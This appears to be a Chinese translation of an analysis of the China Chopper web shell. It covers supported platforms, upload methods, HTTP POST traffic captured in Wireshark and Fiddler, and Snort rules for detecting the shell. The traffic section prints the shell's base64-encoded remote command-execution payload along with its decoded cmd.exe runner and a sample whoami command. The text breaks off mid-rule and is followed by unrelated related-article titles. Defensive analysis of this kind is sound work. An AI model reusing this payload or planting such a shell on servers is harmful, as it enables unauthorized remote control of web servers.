在第一部门份的菜刀剖析里面,已经介绍了“中国菜刀”的易用界面以及一些高级特性。——其中最令人注目的,莫过于其作为web shell的大小,aspx版仅有73字节,在硬盘中才4k。而在这部分里,将会详细“中国菜刀”平台适用性、上传机制、通讯模式以及如何侦测,至于中国菜刀一直在争论的一个话题,有没有后门,各位基友,您看了就知道了。

平台:

web服务器平台——JSP, ASP, ASPX, PHP, 或 CFM。同时在Windows和Linux适用。在系列一的分析里面已经展示过“中国菜刀”在windows 2003 IIS 中运行ASPX的情况。在这一部分里,讲展示运行在Linux平台下的PHP情况。如下图所示,PHP版本的内容极其精简。

依赖与不同的平台,“中国菜刀”有不同的可选项。下图显示了在Linux平台下的文件管理特性,(类似于Windows)

下图显示了在MySQL下其数据库客户端例子,(对Linux目标服务器的数据库管理)

如下图所示,虚拟终端命令行也长得很像。但是使用Linux命令而不是Windows命令

上传机制:由于它的大小,格式,以及简单的payload,“中国菜刀”的传输机制可以很灵活多样。以下任意一种方法都可以进行传输通过WebDAV文件上传

通过JBoss jmx-console 或者Apache的Tomcat管理页面上传

远程代码执行下载

通过其他方式接入后传输

通讯分析:我们已经看过它在服务器端的payload以及控制web shell的客户端。接下来,我们检查一下“中国菜刀”的通讯网络流量。我们通过抓包软件,分析其服务端和客户端的通讯情况,如下图所示,客户端在80端口上,以HTTP POST方式通讯。

利用抓包软件Wireshark的“follow the TCP”功能可以看到整个TCP数据交互过程。如下图所示,上面红色部分为攻击者(客户端)POST提交控制命令的内容,下面蓝色部分为被控端返回结果

从图中可见攻击控制代码经过Base64编码,我们利用Web调试器Fiddler的TextWizard功能可以轻易解码,看看攻击者到底发送了什么。(注意%3D是URL编码,实际上是“=”)Fiddler需要这个转换一下。其攻击payload的编码情况如下如下所示Password=Response.Write("->|");

var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|

使用Fiddler的text wizard功能将其base64解码为明文, 如下图所示

解码后的数据如下所示:

varc=newSystem.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(65001).

GetString(System.Convert.FromBase64String(Request.Item["z1"])));

vare=newSystem.Diagnostics.Process();

varout:System.IO.StreamReader,EI:System.IO.StreamReader;

c.UseShellExecute=false;

c.RedirectStandardOutput=true;c.RedirectStandardError=true;

e.StartInfo=c;c.Arguments="/c"+System.Text.Encoding.GetEncoding(65001).

GetString(System.Convert.FromBase64String(Request.Item["z2"]));

e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();

Response.Write(out.ReadToEnd()+EI.ReadToEnd());

上面这段代码的意思是使用base64解码存储在z1、z2这两个参数中的数据。接下来我们来查看z1与z2对应的值。注意下面加粗部分参数z1与z2:

&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

base64解码参数对应的值,如下所示:

z1=cmdz2=cd /d "c:\inetpub\wwwroot\"&whoami&echo [S]&cd&echo [E]

其中z1的值是cmd,z2的值是cd /d “c:\inetpub\wwwroot\”&whoami&echo [S]&cd&echo [E]。该操作的意思就是执行cmd命令,列出当前用户与当前目录,执行结果如下所示:->|nt authority\network service[S]C:\Inetpub\wwwroot[E]|

检测:

now,我们知道中国菜刀的流量通信的特征,可以利用网络或主机级别的防护软件检测这种恶意通信。

网络:

可以利用Snort编写规则检测中国菜刀的流量,能够轻松的捕获到异常数据,Keith Tyler在他的博客中给出了一个基本的IDS规则:

alert tcp any any -> any 80 ( sid:900001; content:"base64_decode";http_client_body;flow:to_server,established; content:"POST"; nocase;http_method; ;msg:"Webshell Detected Apache";)

为了减少误报,我们将该段规则修改了下,只检测数据包内容中包含FromBase64String以及z1,如下:alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS

(msg: "China Chopper with first Command Detected";

flow:to_server,established; content: "FromBase64String";

content: "z1"; content:"POST"; nocase;http_method;

reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/

breaking-down-the-china-chopper-web-shell-part-i.html;

classtype:web-application-attack; sid: 900000101;)

以下规则更进一步优化,以下规则在数据包中查找FromBase64String,并且利用正则表达式匹配z后面任意一到三的数字组合,如Z1、Z10、Z100等。alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS

(msg: "China Chopper with all Commands Detected"; flow:to_server,established;

content: "FromBase64String"; content: "z"; pcre: "/Z\d{1,3}/i"; content:"POST"; nocase;http_method;

reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/

breaking-down-the-china-chopper-web-shell-part-i.html;

classtype:web-application-

mysql中国菜刀连接_中国菜刀(Chopper)详细剖析相关推荐

  1. mysql中国菜刀连接_中国菜刀使用方法以及小技巧

    相信大多数的站长都用FTP来管理web空间,但是相对于菜刀来说FTP简直弱到爆.就数据库管理方面来说,phpmyadmin和帝国软件只能管理mysql数据库,而且在软件的体积上跟菜刀完全没法比,如果精 ...

  2. centos6安装mysql并远程连接_如何开启phpstudy中mysql的远程连接

    phpstudy是一款非常方便的php集成环境,许多人会使用它作为PHP网站的实验环境.phpstudy中也集成了Mysql数据库,那么集成环境中的mysql数据库如何才能远程连接呢? 通常情况下,实 ...

  3. mysql表全连接_关于mysql 实现表连接(左,右,内,全连接)

    mysql 实现表连接(左,右,内,全连接) 查询中出现两个表的连接,下面通过实例来讲解一下各种连接查询的不同之处 表 a,和表b 如下图 a 表中 有 abcd b表中有 abcf 内连接:SELE ...

  4. deepin中mysql数据库的连接_教你如何典雅的用Python连接MySQL数据库

    简介:作者 | Python语音识别不管是机器学习.web开发或者爬虫,数据库都是绕不过去的.那么今天我们就来介绍Python如何Mysql数据库进行连接以及数据的交换.主要分为以下几个方面:什么是数 ...

  5. linux上的中国象棋游戏下载,中国象棋下载_中国象棋最新下载_玩一玩游戏

    中国象棋是起源于中国,的一种棋类游戏,属于两个人之间的对抗,在中国有着悠久的历史.由于它的器皿简单,趣味性强,它已经成为一种非常受欢迎的棋类活动. 中国象棋是中华民族的文化瑰宝,历史悠久,趣味性强,基 ...

  6. 远程mysql用ssh连接_使用SSH密钥连接到远程MySQL服务器

    远程mysql用ssh连接 In this article, it will be described how to connect to remote MySQL Server on Linux O ...

  7. mysql 家谱树查询_中国家谱族谱数据库可以登录、查询了

    原标题:中国家谱族谱数据库可以登录.查询了 中青在线武汉6月6日电(党波涛 中国青年报·中青在线记者 雷宇)数据量全球第一,最早可追溯到明朝万历年间.华中师范大学中国农村研究院今天对外发布,由该院建设 ...

  8. php如何用菜刀连接getshell,xise菜刀后门箱子制作:Sqlmao连接Mysql实现Getshell

    首先得知道这个玩意,sqlmap -help,不说大家也懂搜嘎. 语法为:" DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME&quo ...

  9. mysql数据库网课_中国大学MOOCMysql数据库系统网课答案

    巡视期间,巡视组可以对群众反映强烈.明显违反规定并且能够及时解决的问题,向()提出处理建议.A. 网络安全技术的研究主要涉及三方面问题:安全攻击.安全机制和_____. 网络安全技术的研究主要涉及三方 ...

最新文章

  1. wordpress主题
  2. 算法自动化测试的挑战与思考
  3. 对称加密与非对称加密的区别_https原理及对称加密、非对称加密、数字证书、数字签名的含义...
  4. 【问题记录】解决npm 报错This dependency was not found: A complete log of this run can be found in:
  5. linux下ARP防御
  6. delta对冲策略_股票基础知识—Delta中性理论
  7. 程序员的修炼之道——从小工到专家
  8. one大白陪你聊聊2021年总结
  9. python如何下载网易云付费音乐
  10. Unity动态天空shader实现
  11. 陈丹青版画作品首次元宇宙拍卖明日揭幕!
  12. RSA生成密钥对的过程
  13. 仿购物商城-多级菜单搜索-搜索联动
  14. 解决Mysql 主从或主主报1062错误
  15. 浏览器标签页形式运行【js代码】,小书签
  16. 单片机c语言交通灯源程序,51单片机用C语言实现交通灯_红绿灯_源程序
  17. Beyond compare使用
  18. 打包带走极客时间大数据课程的正确姿势
  19. bfs+dfs分析----poj 3278 Catch That Cow
  20. 吉林大学计算机应用软件,吉林大学计算机科学与技术学院

热门文章

  1. 非科班不能进大厂?从半路出家到Android阿里P7
  2. 如何用计算机计算平均温差,第八章 传热平均温差计算.pdf
  3. 谷歌宣布退出中国内地 网民何去何从?
  4. 雨轻风色暴,梅子青时节
  5. 用300行代码写一个童年小游戏,俄罗斯方块
  6. 可擦写光盘不能擦除和刻写_光盘的分类,光盘的擦除与刻录。
  7. python爬虫介绍及其应用
  8. Java并发编程实战读书笔记
  9. 工业路由器下的智慧园林监测解决方案
  10. 最新开源多城市地方房产门户系统源码/ThinkPHP房产房市营销推广系统自适应移动端